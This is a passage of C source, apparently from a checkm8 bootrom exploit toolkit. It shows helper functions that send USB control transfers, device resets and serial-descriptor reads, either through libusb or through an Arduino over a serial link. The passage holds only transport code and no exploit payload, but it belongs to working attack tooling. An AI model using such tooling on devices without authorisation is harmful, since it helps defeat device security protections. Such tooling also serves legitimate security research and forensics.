unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout)
|
||||
{
|
||||
checkm8_debug_indent(
|
||||
"no_error_ctrl_transfer_data(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
|
||||
dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
|
||||
#ifdef WITH_ARDUINO
|
||||
int amount, index = 0;
|
||||
char buf;
|
||||
struct usb_xfer_args args;
|
||||
args.bmRequestType = bmRequestType;
|
||||
args.bRequest = bRequest;
|
||||
args.wValue = wValue;
|
||||
args.wIndex = wIndex;
|
||||
args.data_len = data_len;
|
||||
|
||||
checkm8_debug_indent("\tsending data to arduino\n");
|
||||
write(dev->ard_fd, &PROT_NO_ERROR_CTRL_XFER_DATA, 1);
|
||||
write(dev->ard_fd, &args, sizeof(struct usb_xfer_args));
|
||||
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_ACK)
|
||||
{
|
||||
checkm8_debug_indent("\treceived argument ack\n");
|
||||
while(index < data_len)
|
||||
{
|
||||
if(data_len - index > ARD_BUF_SIZE) amount = ARD_BUF_SIZE;
|
||||
else amount = data_len - index;
|
||||
|
||||
checkm8_debug_indent("\twriting data chunk of size %i\n", amount);
|
||||
write(dev->ard_fd, &data[index], amount);
|
||||
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_ACK)
|
||||
{
|
||||
checkm8_debug_indent("\treceived data ack\n");
|
||||
index += amount;
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\treceived unexpected response %x\n", buf);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
}
|
||||
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_SUCCESS)
|
||||
{
|
||||
checkm8_debug_indent("\tsuccess\n");
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tunexpected response %x\n", buf);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tno ack received (got %x)\n", buf);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
#else
|
||||
return no_error_ctrl_transfer(dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
|
||||
#endif
|
||||
}
|
||||
|
||||
int ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout)
|
||||
{
|
||||
checkm8_debug_indent(
|
||||
"ctrl_transfer(dev = %p, bmRequestType = %X, bRequest = %X, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n",
|
||||
dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
int amount, index;
|
||||
char buf;
|
||||
struct usb_xfer_args args;
|
||||
args.bmRequestType = bmRequestType;
|
||||
args.bRequest = bRequest;
|
||||
args.wValue = wValue;
|
||||
args.wIndex = wIndex;
|
||||
args.data_len = data_len;
|
||||
|
||||
checkm8_debug_indent("\tsending data to arduino\n");
|
||||
write(dev->ard_fd, &PROT_CTRL_XFER, 1);
|
||||
write(dev->ard_fd, &args, sizeof(struct usb_xfer_args));
|
||||
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_ACK)
|
||||
{
|
||||
checkm8_debug_indent("\treceived argument ack\n");
|
||||
if(bmRequestType & 0x80)
|
||||
{
|
||||
amount = 0;
|
||||
while(amount < data_len)
|
||||
{
|
||||
// get the size of this chunk
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
checkm8_debug_indent("\treceiving data chunk of size %i\n", buf);
|
||||
|
||||
index = 0;
|
||||
while(index < buf)
|
||||
{
|
||||
index += read(dev->ard_fd, &data[amount + index], buf - index);
|
||||
}
|
||||
|
||||
amount += buf;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
index = 0;
|
||||
while(index < data_len)
|
||||
{
|
||||
if(data_len - index > ARD_BUF_SIZE) amount = ARD_BUF_SIZE;
|
||||
else amount = data_len - index;
|
||||
|
||||
checkm8_debug_indent("\twriting data chunk of size %i\n", amount);
|
||||
write(dev->ard_fd, &data[index], amount);
|
||||
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_ACK)
|
||||
{
|
||||
checkm8_debug_indent("\treceived data ack\n");
|
||||
index += amount;
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\treceived unexpected response %x\n", buf);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_SUCCESS)
|
||||
{
|
||||
checkm8_debug_indent("\tsuccess\n");
|
||||
return data_len;
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tunexpected response %x\n", buf);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tno ack received (got %x)\n", buf);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
#else
|
||||
return libusb_control_transfer(dev->bundle->handle,
|
||||
bmRequestType, bRequest,
|
||||
wValue, wIndex,
|
||||
data, data_len,
|
||||
timeout);
|
||||
#endif
|
||||
}
|
||||
|
||||
int reset(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("reset(dev = %p)\n", dev);
|
||||
#ifdef WITH_ARDUINO
|
||||
char buf;
|
||||
write(dev->ard_fd, &PROT_RESET, 1);
|
||||
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_ACK)
|
||||
{
|
||||
checkm8_debug_indent("\treceived ack\n");
|
||||
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_SUCCESS)
|
||||
{
|
||||
checkm8_debug_indent("\tsuccess\n");
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tunexpected response %X\n", buf);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tno ack received (got %x)\n", buf);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
#else
|
||||
return libusb_reset_device(dev->bundle->handle);
|
||||
#endif
|
||||
}
|
||||
|
||||
int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int len)
|
||||
{
|
||||
checkm8_debug_indent("serial_descriptor(dev = %p, serial_buf = %p, len = %i)\n", dev, serial_buf, len);
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
char buf;
|
||||
int curr, ret;
|
||||
struct serial_desc_args args;
|
||||
args.dev_idVendor = dev->idVendor;
|
||||
args.dev_idProduct = dev->idProduct;
|
||||
args.len = len;
|
||||
|
||||
checkm8_debug_indent("\tsending data to arduino\n");
|
||||
write(dev->ard_fd, &PROT_SERIAL_DESC, 1);
|
||||
write(dev->ard_fd, &args, sizeof(struct serial_desc_args));
|
||||
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_ACK)
|
||||
{
|
||||
checkm8_debug_indent("\treceived ack\n");
|
||||
while(read(dev->ard_fd, &buf, 1) == 0);
|
||||
if(buf == PROT_FAIL_NODEV)
|
||||
{
|
||||
checkm8_debug_indent("\tno device attached\n");
|
||||
return CHECKM8_FAIL_NODEV;
|
||||
}
|
||||
else if(buf == PROT_FAIL_WRONGDEV)
|
||||
{
|
||||
checkm8_debug_indent("\twrong device attached\n");
|
||||
return CHECKM8_FAIL_NODEV;
|
||||
}
|
||||
else if(buf == PROT_SUCCESS)
|
||||
{
|
||||
checkm8_debug_indent("\tsuccess, reading serial descriptor\n");
|
||||
curr = 0;
|
||||
while(curr < len)
|
||||
{
|
||||
ret = read(dev->ard_fd, &serial_buf[curr], len - curr);
|
||||
if(ret > 0) curr += ret;
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tunexpected response %X\n", buf);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_indent("\tno ack received (got %x)\n", buf);
|
||||
return CHECKM8_FAIL_PROT;
|
||||
}
|
||||
#else
|
||||
struct libusb_device_handle *handle = dev->bundle->handle;
|
||||
struct libusb_device_descriptor *desc = dev->bundle->descriptor;
|
||||
|
||||
libusb_get_string_descriptor_ascii(handle, desc->iSerialNumber, serial_buf, len);
|
||||
return CHECKM8_SUCCESS;
|
||||
#endif
|
||||
}
|
||||
Reference in New Issue
Block a user